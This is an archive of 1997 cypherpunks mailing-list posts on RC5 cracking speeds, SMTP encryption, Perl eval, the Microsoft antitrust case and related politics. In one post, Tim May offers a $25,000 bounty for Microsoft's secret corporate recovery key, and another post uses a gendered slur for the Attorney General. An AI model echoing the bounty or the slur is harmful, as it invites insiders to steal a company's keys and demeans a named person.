From: Fearghas McKay <fm@espace.net>
Subject: How Fast Is your System?
Sender: <usual@espace.net>
Precedence: Bulk
List-Software: LetterRip 2.0.1 by Fog City Software, Inc.
List-Subscribe: <mailto:requests@espace.net?subject=subscribe%20usual>
List-Unsubscribe: <mailto:requests@espace.net?subject=unsubscribe%20usual>
Status: U


--- begin forwarded text

How Fast Is your System?

Project RC5 is an attempt to beat the RSA Secret-Key Challenge by
using desktop computers to plug away at possible solutions in their
spare processor time. One nifty side effect of all these boxes
attempting the same process is an accurate comparison of true
processor speeds. The compiled statistics show clearly what is often
overlooked: not all megahertzes are created equal. A 180-MHz Pentium
Pro ranges from 413 kk/s (thousand keys per second) running Windows 95
to 461 kk/s under Linux. In comparison, 180-MHz Macs range from 434
kk/s (a Motorola machine with a 603e chip running MacOS 7.6.1) to 530
kk/s (a Motorola 604e with MacOS 8). That's a significant difference.
The fastest single-processor computer is a Power Mac 9600/350, with a
350-Mhz PowerPC 604e chip, that slices through 1012 kk/s. Check these
stats out and compare not only platforms, but operating systems, too.
[Netsurfer=92s Digest]

RC5: <http://www.distributed.net/rc5/>=20
RSA: <http://www.rsa.com/rsalabs/97challenge/>=20
Stats: <http://www.alde.com/speed.html>

--- end forwarded text

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 21 Oct 1997 00:10:02 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Interactive Programming - Self-modifying code
Message-ID: <199710201628.LAA08124@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Brandon Crosby <bcrosby@mncs.k12.mn.us>
> Subject: Re: [LONG, off-topic]] Interactive Programming
> Date: Mon, 20 Oct 1997 10:22:23 -0500 (CDT)

> > As are some perl programmers.  As both a perl programmer and a lisp
> > programer I have never had the need to use self modifing code.  In fact I
> > would consider haveing to use s-m code as a sine that I have made a
> > mistate in my desinge.

Come on, tell us how you really feel...

What if your design specificaly includes self-modifying code for reasons of
execution speed or some recursive efficiency? Glad to know I don't have to
compete with you on those sorts of jobs...thanks.

> PERL is a pretty high-level language... how do you add sub's after
> running the code?

Well I would include all the possible functions I would need and then keep
some sort of array. Each branch point would depend upon the contents of that
array. When the program starts it would use either some default
configuration or perhaps the 'last-state' of the engine on the previous run.
Then as the contents of the array changed the dynamic configuration of the
sub-routines would change.

Another good mechanism is to store addresses in immediate mode, which means
the address is hard-coded. Then dynamicaly change the contents of the address
of that address. I once wrote a machine code utility that cleared large
blocks of RAM 256 byte pages at a time. Each time the code ran it would go
through and incriment the address stored in that address a fixed amount, the
page size, and then jumped back to the beginning of this single loop. Ran
very quickly. I used it to clear video ram faster than the os functions
could.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 21 Oct 1997 00:53:27 +0800
To: cypherpunks@toad.com
Subject: A Beehive in their Bonnet, from The Netly News
Message-ID: <v03007801b071395d4938@[204.254.21.158]>
MIME-Version: 1.0
Content-Type: text/plain




***********

http://cgi.pathfinder.com/netly/opinion/0,1042,1509,00.html

The Netly News (http://netlynews.com/)
October 20, 1997

A Beehive in Their Bonnet
by Declan McCullagh  (declan@well.com)

	John Caldeira's remark in a beekeeper's discussion
	area on Prodigy seemed innocuous enough: It
	described how to rid honeybees of parasites. "Two
	ounces of Mavrik mixed with one gallon of water and
	sprayed on the bottom boards of one's hives several
	times a year. It is reportedly very effective,"
	Caldeira wrote.

        Honey may attract flies, but this discussion about its
	production drew swarms of bureaucrats. The Texas
	Department of Agriculture charged Caldeira with
	violating a state law banning unapproved discussions
	of bee medicines and fined the 42-year-old hobbyist
	$600. A draft statement from the department
	complains that Caldeira was "criticizing
	regulations" and improbably argues that "the honey
	market in the U.S. could become depressed because
	of widespread concerns about its safety and due to
	Mr. Caldeira's suggestion that commercial beekeepers
	are using Mavrik in their hives."

        But the Texas bureaucrats have a problem: The law
	seems to violate the First Amendment's guarantees
	of freedom of speech. "There is absolutely no doubt
	that John Caldeira's speech is -- and should be --
	protected speech under the First Amendment to the
	U.S. Constitution," says Mike Godwin, staff counsel
	to the Electronic Frontier Foundation.

[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 21 Oct 1997 02:02:25 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199710201820.NAA08415@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Tech banner IBM Reinventing Education rule
   
        JUSTICE SEEKS $1 MILLION A DAY CONTEMPT FINE AGAINST MICROSOFT
                                       
     Microsoft logo October 20, 1997
     Web posted at: 1:29 p.m. EDT (1729 GMT)
     
     WASHINGTON (AP) -- The Justice Department asked a federal court
     Monday to hold the computer software giant Microsoft Corp. in
     contempt for requiring personal computer manufacturers to license
     and distribute its Internet browser.
     
     The department said the company violated a 1995 court order the
     government obtained to bar the company from anticompetitive
     licensing practices. The government sought a $1 million a day fine.
     
     "Microsoft is unlawfully taking advantage of its Windows monopoly to
     protect and extend that monopoly," Attorney General Janet Reno told
     reporters. Janet Reno
     
     "This is a very serious abuse," said Assistant Attorney General Joel
     I. Klein, head of the antitrust division. He said Microsoft's action
     was designed to undermine the dominant market position of its major
     competitor for Internet browsers, Netscape.
     
     Internet browsers are important, Klein said, because they "could
     erode Microsoft's operating system monopoly" in the Windows
     operating system. "This kind of product forcing is an abuse of
     monopoly power and we seek to put an end to it."
     
     Klein emphasized that the Justice Department is still investigating
     other practices by Microsoft but declined to give details.
     
     The Justice Department objected to Microsoft's requirement that
     computer manufacturers who want to license the Windows 95 operating
     system also license its internet browser, known as Internet
     Explorer. Most personal computer makers install Windows 95 at the
     factory.
     
     Klein said, "These are two different products." He said they should
     be sold as two separate products, but he adamantly said the
     government was not taking sides in the war for browser market share
     between Microsoft and Netscape, whose browser is known as Navigator,
     or any other company.
     
     "Each of Microsoft's products should compete on its own merits,"
     Klein said.
     
     Copyright 1997   The Associated Press. All rights reserved. This
     material may not be published, broadcast, rewritten, or
     redistributed.
     
   
     _________________________________________________________________
   
   Infoseek search ____________________ ____  ____
   
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   All Rights Reserved.
   
        Terms under which this service is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Mon, 20 Oct 1997 22:18:41 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Just say "No" to key recovery concerns...keep OpenPGP pure
In-Reply-To: <v03102800b06978017bc1@[207.167.93.63]>
Message-ID: <slrn64mpkh.o7.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Tim May wrote:
>OpenPGP needs to stick to basics.

Done.

>And PGP, Inc. needs to get back to basics.

Still waiting...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mskala@langara.csc.UVic.CA
Date: Tue, 21 Oct 1997 06:06:38 +0800
To: cypherpunks@toad.com
Subject: SMTP Encryption Extension
Message-ID: <Pine.A41.3.96.971020142541.11532A-100000@langara.csc.UVic.CA>
MIME-Version: 1.0
Content-Type: text/plain



Lots of people want to encrypt network traffic in large quantities to
deter wiretapping, raise awareness, and so on.  The usual approach seems
to be to encrypt at a very low level, on individual network links.
Unfortunately, those plans aren't moving very fast, partly because they
require the involvement of people in positions of power at both ends of
any given link.  If I'm the sysadmin of a major ISP, I've got more
important things to worry about than trying to coordinate with my
counterpart at the other end of a high-speed link that is ALREADY WORKING
FINE, and trying to change the protocol.

Well, what are we really concerned about?  Not Web traffic - although your
web surfing history is private information, the data itself is by nature
public and encrypting it is kinda pointless.  The same kind of argument
applies to news.  What we're really concerned about w.r.t. wiretapping is
electronic mail.

So why not extend SMTP to do strong encryption?  When your SMTP mailer
connects to another mailer with the encryption extension, they exchange
public keys, use those to exchange a session key, and encrypt their
traffic.  When your smart mailer connects to a stupid mailer, they just
speak normal SMTP.

This is a win even without any special key management: even if I can't
verify that the identity of the remote SMTP server is correct, I'm still
protected from passive attacks if I know that only the remote server
(whoever that is) can read the traffic.  If we're concerned about
government surveillance of the populace, passive wiretaps are by far the
most significant threat.

This has the advantage that it only requires support from the admins of
the computers that send and receive email; your ISP doesn't have to
cooperate.  Also, it doesn't require cooperation between the two ends of a
connection: I can put the crypto extension onto my system without worrying
about whether any other specific person will cooperate.  Finally, it's got
good subversive potential; the benefits of having the extension increase
exponentially as more people have it.

Just imagine if we could get a major Linux distribution to install it by
default.  Wham!  All of a sudden, whenever any two boxes running that
distribution connect to each other, they automatically do it securely.

The ideal way to implement this would be as a patch to sendmail, but for
short term "proof of concept", I'm building a Perl program that will
listen on port 25, accept SMTP connections, and pass the data through to a
copy of sendmail running on some other port.  It also has a client side
which gets installed as a "mailer" under sendmail, replacing sendmail's
built-in IPC mailer.  When two copies of sendmail so equipped connect to
each other, they automatically encrypt.

I've already got code for a program I call "blackpony", that implements
the basic protocol using RSA and Blowfish (extensible to others).  It also
supports ROTn, in order to provide a cryptosystem people can do in their
heads while manually testing the program.  I haven't finished testing the
integration between it and sendmail, and I'd like to document the protocol
more thoroughly, but it does work, and it transparently interoperates with
ordinary sendmail.  I expect to have it in a form I'll be willing to show
people, within the week.  If anyone would like a copy or has any comments
or suggestions, please let me know.  Perl5 is required, as is the Cryptix
security library available at http://www.systemics.com/software/.  At
present the Linux /dev/urandom device (or something like it) is required,
but I intend to make that optional eventually. 

Deploy and enjoy...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 21 Oct 1997 00:35:01 +0800
To: bcrosby@mncs.k12.mn.us
Subject: Re: [LONG, off-topic]] Interactive Programming (fwd)
In-Reply-To: <199710201345.IAA01608@ted.mncs.k12.mn.us>
Message-ID: <199710201614.RAA02904@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Brandon Crosby <bcrosby@mncs.k12.mn.us> writes:
> PERL is a pretty high-level language... how do you add sub's after
> running the code?

You eval them.  Perl has a construct eval( "string" ) where string can
be arbitary perl code which is evaluated into the current context.
That can include function definitions even I think.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 21 Oct 1997 07:04:13 +0800
To: cypherpunks@ssz.com
Subject: DNA encrypted messages (fwd)
Message-ID: <199710202312.SAA09155@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From owner-traveller@Phaser.ShowCase.MPGN.COM Mon Oct 20 18:05:46 1997
Message-Id: <199710202034.WAA19474@vip.cybercity.dk>
From: "Mark Seemann" <dko3835@vip.cybercity.dk>
To: <traveller@MPGN.COM>
Subject: DNA encrypted messages
Date: Mon, 20 Oct 1997 22:28:39 +0200
X-MSMail-Priority: Normal
X-Priority: 3
X-Mailer: Microsoft Internet Mail 4.70.1155
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Sender: owner-traveller@Phaser.ShowCase.MPGN.COM
Reply-To: traveller@MPGN.COM

Tue, 21 Oct 1997 00:08:58 +1300 Andrew Moffatt-Vallance wrote: 

> To crib a plot line from ST:TNG (who cribed it from Niven I think).
Assuming
> that the aliens have a reasonable biotech, why not encode it in the DNA
> sequences of some local life forms. Sharks would be a good bet, or
jellyfish.
> Remember something like 90% of any DNA sequence is just waste space.

I actually used this idea maybe ten adventures back in my current campaign,
although I got the idea myself and thought it was pretty original. Well,
that just goes to show...

The setup was a little different. A psionic noble (yes, I'm playing off the
Psionic Knights campaign) was persued during the psionic suppressions, and
encoded the whereabouts of his (psionic) noble's order's tresuary in
plasmid rings in his blood, leaving behind him a subtle clue for friendly
successors to pick up.

The player characters found his buried body, dug it up and analyzed what
was left of his deteriorated blood. The party's (NPC) doctor found the
following obviously artificial encoding as part of more 'natural' DNA:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAACCCGGGTTTAAACCCGGGTTTAAACCCGGGTTTAAACCCGGGTTT
AAACCCGGGTTTAAACCCGGGTTTAAACCCGGGTTTAAACCCGGGTTT
AAACCCGGGTTTAAACCCGGGTTTAAACCCGGGTTTAAACCCGGGTTT
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
AAAAACAAGAATACAACCACGACTAGAAGCAGGAGTATAATCATGATT
CAACACCAGCATCCACCCCCGCCTCGACGCCGGCGTCTACTCCTGCTT
GAAGACGAGGATGCAGCCGCGAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ATAAGGCGTCTAATGGCAAAGAAGAAGACAGCACTACGCCAGCCTGAA
AGGCGTATCGCACCGAGGCGTATACACATGCTAGCCGCAGAAAGGCGT
CGTAGGCCTCTCGCAAGGATAATACGACGTATCCAGCCTCAAGCACTC
CGAGCACAGCCGCGCATGCGTCAGAGGCCCGCAATGATCCAGATACTC
GCAAGCACTGCCGCACGCAGGCTGCCCAGGCTAGCACGAATTATTCAG
ATACAGAGGCCCGCACGTATGATACGACAACCTCAGCTCCAGCGACCT
GCACGAATTGCACTCCACATGGCACGACGTATCATGCGTGCACGAATT
GCACTCCACATGGCAGAACACCAGCTCATGGCACTACTCAGGCGTGCC
GCAAGGCTCGCACTCCACATGGCAATCATGAGGATCGCACCGAGGCCT
CTAGCAATTCAGCCTCAAATGCGTGCCGCAAGTCCCAGGATACCAGCA
AGTCGAGACGCACTCCACCGTCGAGAACCTGCACAGCCTGCACTCCAC
ATGGCAGAAATGCCCCCCGCCAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

I explained to the players that 'A' was for Adenine, 'C' for Cytocine, 'G'
for Guanine, and 'T' for Tymine (the for possible DNA bases) and let them
loose without any further help at all. They actually broke the code, and it
was very satisfying for both them and me.

Here's a little challenge for you all: Can any of you guys break the code?

Mark Seemann
mark@dk-online.dk
http://www2.dk-online.dk/users/mark_seemann





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 21 Oct 1997 06:54:17 +0800
To: cypherpunks@toad.com
Subject: Cato Institute briefing paper on domain names
Message-ID: <v03007801b0718d77ab72@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



***************

http://www.cato.org/pubs/briefs/bp-033.html

INTERNET DOMAIN NAMES

Privatization, Competition, and Freedom of Expression

by Milton L. Mueller
Milton L. Mueller, an associate professor at the
Syracuse University School of Information Studies, is
the author of many scholarly works on
telecommunications policy.

Executive Summary

There is growing confusion over the administration of
Internet top-level domain names (TLDs), the system of
suffixes, such as .com, .org, and .edu, that
determines a person's e-mail or Web site address on
the Internet.

We need to define rules and procedures that will
permit and encourage competition among administrators
of TLDs in response to market demand. Freedom of
expression should be a primary concern. Proposals for
compulsory national TLDs should be rejected. National
TLDs would undermine the international character of
the Internet and encourage national governments to
enact myriad petty regulations and restrictions on
free speech. Domain names should not be equated with
trademarks or brand names. We should reject attempts
to forge inappropriate links between domain name
registration and trademark protection.

The U.S. government should encourage the development
of property rights and competition by moving the
administration of Internet domain names into the
private sector.

###


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Tue, 21 Oct 1997 07:16:57 +0800
To: mskala@langara.csc.UVic.CA
Subject: Re: SMTP Encryption Extension
Message-ID: <CMM.0.90.4.877388285.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain



>Well, what are we really concerned about?  Not Web traffic - although your
>web surfing history is private information, the data itself is by nature
>public and encrypting it is kinda pointless.

Not at all! Most of my time is spent trying to keep 'restricted data'
from being scooped by the wrong people... from the Web. We have
licensed data, students' private data, surveys and voting (the results
of which should be available only in certain formats and then only to
certain people), etc. etc... So data kept on the filesystem has to 
be protected and it has to be encrypted when it is sent out to the
browsing (legitimate) user. 

Nice try...

Ariel Glenn
ariel@columbia.edu





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Tue, 21 Oct 1997 07:30:04 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: A Beehive in their Bonnet, from The Netly News
Message-ID: <3.0.16.19971020191015.3cc758b6@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 12:41 PM 10/20/97 -0400, Declan McCullagh wrote:
...
>A Beehive in Their Bonnet
>by Declan McCullagh  (declan@well.com)
>
>	John Caldeira's remark in a beekeeper's discussion
>	area on Prodigy seemed innocuous enough: It
>	described how to rid honeybees of parasites. "Two
>	ounces of Mavrik mixed with one gallon of water and
>	sprayed on the bottom boards of one's hives several
>	times a year. It is reportedly very effective,"
>	Caldeira wrote.
>
>        Honey may attract flies, but this discussion about its
>	production drew swarms of bureaucrats. The Texas
>	Department of Agriculture charged Caldeira with
>	violating a state law banning unapproved discussions
>	of bee medicines and fined the 42-year-old hobbyist
>	$600. A draft statement from the department
>	complains that Caldeira was "criticizing
>	regulations" and improbably argues that "the honey
>	market in the U.S. could become depressed because
>	of widespread concerns about its safety and due to
>	Mr. Caldeira's suggestion that commercial beekeepers
>	are using Mavrik in their hives."

Effectively conceding that Mr. Caldeira has more reputation-
capital than they do. Gee, I wonder what an enterprising bee-
keeper would need to do to keep these bureaucrats at bay?
 ;^)

Suppose that instead of "Mavrik" the solution were instead
the regular burning of hemp byproducts nearby? If nothing
else, this would certainly lead to docile bees...
JMR

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Freedom isn't Freeh.

iQEPAwUBNEvklzUhsGSn1j2pAQGqqQfPV4xHkB2JIySmL7mdcNSbu9D79EVPeGPu
lk448L9pQw6UgDQy6cIn6+xY4/0zwEGItf0gEPwkT7upTBKpoOJEIk7zlJPgw0H1
7WZZDARj1scqM7YVIIq5ce1c/3jMUfqTZ3HcXhxJ9rPtHmU4+PW5Y6uJisSE2fKY
f3JrGhcfOfkdhGPSBNZTmtfwnBZRORXbv1aM+ibqgLcipWr7SrfyrLoE8VQr4pEd
BJ7aBgoQK0cNw4f9vLcETTrPCrEsJqbRoFfl97apehp1zmSoKYn1AeriRK4qE0mD
v7dY2sclypzpH59wF45mddMUO7uYdaZ7EzxDV3ll6qqEpA==
=krnc
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: vcarlos35@juno.com
Date: Tue, 21 Oct 1997 09:46:35 +0800
To: cypherpunks@toad.com
Subject: RC5 encryption
Message-ID: <19971020.202355.3926.0.vcarlos35@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



Forgive this seemingly naive question, but....

Where does RC5 derive its security from?
I know about the ROTL stuff and the key expansion
methods (I have the RSA Cryptobytes, HAC, AC, etc.)
However, I personally can't see how it would work. I know its
supposedly secure because of the data-dependent rotations, and
other features.
Correct me if I'm wrong, but a ROTL assembler command shifts all
bits to the LEFT one and moves the "overflow" bits back into the right
end of the register:
0100111011 to 0011101101 if it rotates left by 2
How does this make it hard to decrypt? The round function seems MUCH
weaker than IDEA's, CAST's, or even GOST and Blowfish.

Vincent Carlos





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hgp@dev.null>
Date: Tue, 21 Oct 1997 10:51:39 +0800
To: phelix@vallnet.com
Subject: Re: A Math problem related to cryptography
In-Reply-To: <344bf08d.1273035@128.2.84.191>
Message-ID: <344C1679.4B98@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



phelix@vallnet.com wrote:
> On 19 Oct 1997 18:36:26 -0500, Jeffery Walker <jeff@beol.net> wrote:
> >       I have been working on some math and C++ code to implement it. The
> >problem relates to a possible new means of factoring.  However, I have run
> >into a problem which I cannot solve. Indeed it maybe impossible. The
> >problem is this:

> (why do I get the feeling that I'm doing somebody's homework assignment)
> 
> Claim: In the realm of Integers, There does not exist a formula using only

I have another problem related to cryptography:
 "What is the capital of Nova Scotia?"

(I need to know by 10 p.m., cause that's when I have to go to bed)

Human Gus-Peter





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 21 Oct 1997 15:08:56 +0800
To: tm@dev.null
Subject: Re: CPUNK Thread from the East / (Was: The Yarrow Man Ass) /(Was: You Go Away! Bother ROUND EYE CypherPunks. Chop, chop!) / (Was:TORA! TORA! TORA!...DC) / (Was: OUBAKAYAROU!!)
In-Reply-To: <199710181407.JAA02154@einstein.ssz.com>
Message-ID: <v03007826b071d7c9a145@[207.94.249.37]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Wow!  I've, come up in the world.  Someone is forging headers with my name.
I bask in the social acceptance of it all.

At 4:16 PM -0700 10/18/97, Bill Frantz wrote:
>TluthMonglel wrote:
>>                  WAKE UP CPUNX AMERICA!
>>   The Commies have infiltrated the CPUNDITS Distributed Remailer system.
>> Igor's secret agenda is to translate 'Distributed' into "From each, as
>> he is able...to each, according to his need."
>...
>>   Ever try to get
>> a message from the list at 4 a.m.? They are few and far between. Even
>> when you create your own message and send it to the list, the CDR List
>> Masters force you to share it with everyone else.
>> ("Who will help me write the message, said the Little Red Hen?")
>
> I agree. Next thing you know, we will be receiving our messages from
>the socialist CDDR list.
>  I put a lot of thought, time and effort into my posts, and I resent
>having to share them with the lurkers who add nothing to the list.
>  From now on I will be sending my posts to the list only to myself.
>
>God Bless America
>-------------------------------------------------------------------------
>Bill Frantz       | The Internet was designed  | Periwinkle --
>Consulting
>(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
>frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032,
>USA



-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQB1AwUBNExUqNQgMXPCzT+1AQG+sAL+Oh8mx7o+5CMASPwuMA01ieQ8JtOx1Tm2
nfclzvbkIPcx78yZbyW8RK5ROUgGiQOWyqf+ANIALzqYaIbzWMNV2lLI+Kdac96S
B3eyiEW6ixDTelKq2rD055uXbbwHg9Ng
=S4kv
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 21 Oct 1997 03:24:18 +0800
To: cypherpunks@toad.com
Subject: Re: Save Water... ask me how!
Message-ID: <199710201910.VAA17166@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



martian@rt66.com wrote:
> Ask me how to save water.
> http://www.rt66.com/martian

Did anyone else go there?
What a smell, eh?
Whoooeee. I bet that guy saves a *lot* of water.

Human-Gus Peter





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Tue, 21 Oct 1997 11:20:02 +0800
To: cypherpunks@cyberpass.net
Subject: Your "RIGHT" to Speak to Big Brother
Message-ID: <199710210313.WAA01353@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



Today Janet "The Bitch of Waco" Reno held a news conference
announcing that, in her not-so-humble opinion, Microsoft
Corporation was in violation of a consent decree by virtue of
bundling Internet Explorer with Windows '95, and that she was
asking for a $1 million a day fine.
 
Ho Hum.
 
However, one tiny item in her news conference caught my
attention.  It wasn't related to IE or Windows, but to company
secrets protected by non-disclosure agreements.
 
Even though Microsoft has indicated that it does not intend for
its non-disclosure agreements to be binding in a way which
prevents persons from disclosing anything they like to the DOJ in
a criminal investigation, the Feds apparently want the concept of
non-disclosure to the government scrapped.
 
Everyone, they claim, has a "right" to speak to the government on
any subject whatsoever, which cannot be abrogated by anything as
flimsy as a contract or agreement, designed to protect anothers
secrets.  After all, the government is your friend, and is here
to help you.
 
This was made clearer when The Bitch of Waco introduced her
minion, Assistant Attorney General Joel Klein.
 
    "We're asking the court to order Microsoft to tell
     everyone who has signed or who in the future will sign
     a non- disclosure agreement, that it doesn't apply to
     the government, period. We won't allow anyone to
     interfere with the people's right to provide
     information to their government."
 
And there you have it.  The people's right to provide their
neighbor's proprietary information their government shall not be
infringed.  How Constitutional-Sounding.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 21 Oct 1997 13:54:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Your "RIGHT" to Speak to Big Brother
In-Reply-To: <199710210313.WAA01353@wire.insync.net>
Message-ID: <v03102802b071f07a3e09@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:13 PM -0700 10/20/97, Eric Cordian wrote:

>This was made clearer when The Bitch of Waco introduced her
>minion, Assistant Attorney General Joel Klein.
>
>    "We're asking the court to order Microsoft to tell
>     everyone who has signed or who in the future will sign
>     a non- disclosure agreement, that it doesn't apply to
>     the government, period. We won't allow anyone to
>     interfere with the people's right to provide
>     information to their government."

You left out the Really Interesting paragraph:

"We're also asking loyal Americans within companies to send us the CMR
secret keys. Companies have no right to keep secrets from government. We
won't allow a company to have policies which prevent loyal Americans from
providing information to their government."


(He didn't say this, but he may as well have. What the Justice Department
is arguing is that it wants spies within companies. It wants narcs. It
wants people to funnel information to them.)

By the way, I think the notion that the government will go to great lengths
to get CMR secret keys is not far-fetched. Until PGP for Business supports
a richer system of snoopware keys--and my understanding is that PGP 5.5
does _not_--then the CMR secret key of, say, Microsoft, would be a prize
indeed.

This is of course a security weakness of the whole CMR approach, exactly as
with the key escrow database. It is a too-tempting target. Anyone within a
company with access to the CMR secret key will be incentivized to sell it.

I am offering $25,000 for the CMR key for Microsoft. (As a loyal American,
I plan to then send it to Janet Reno and Louis Freeh.)

Of course, Microsoft won't be using PGP for Business. Recall that they may
have their own "software key escrow" program cooking, based on my
discussion a few years ago with Tom Albertson (sp?) of Microsoft. Bill
Gates has issued strongly anti-GAK statements, so maybe this is on hold.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Tue, 21 Oct 1997 05:29:30 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: consensus on pgp? can we consolidate for action?
In-Reply-To: <3.0.3.32.19971018020526.006cbe38@popd.ix.netcom.com>
Message-ID: <Pine.BSF.3.96.971020223107.28893B-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 18 Oct 1997, Bill Stewart wrote:
> 
> Also, there are two mail protocols to address - 
> smtp for sending, but pop3 (or imap4) for mailbox-retrieval.
> Using either SSH or IPSEC or something SSL-based
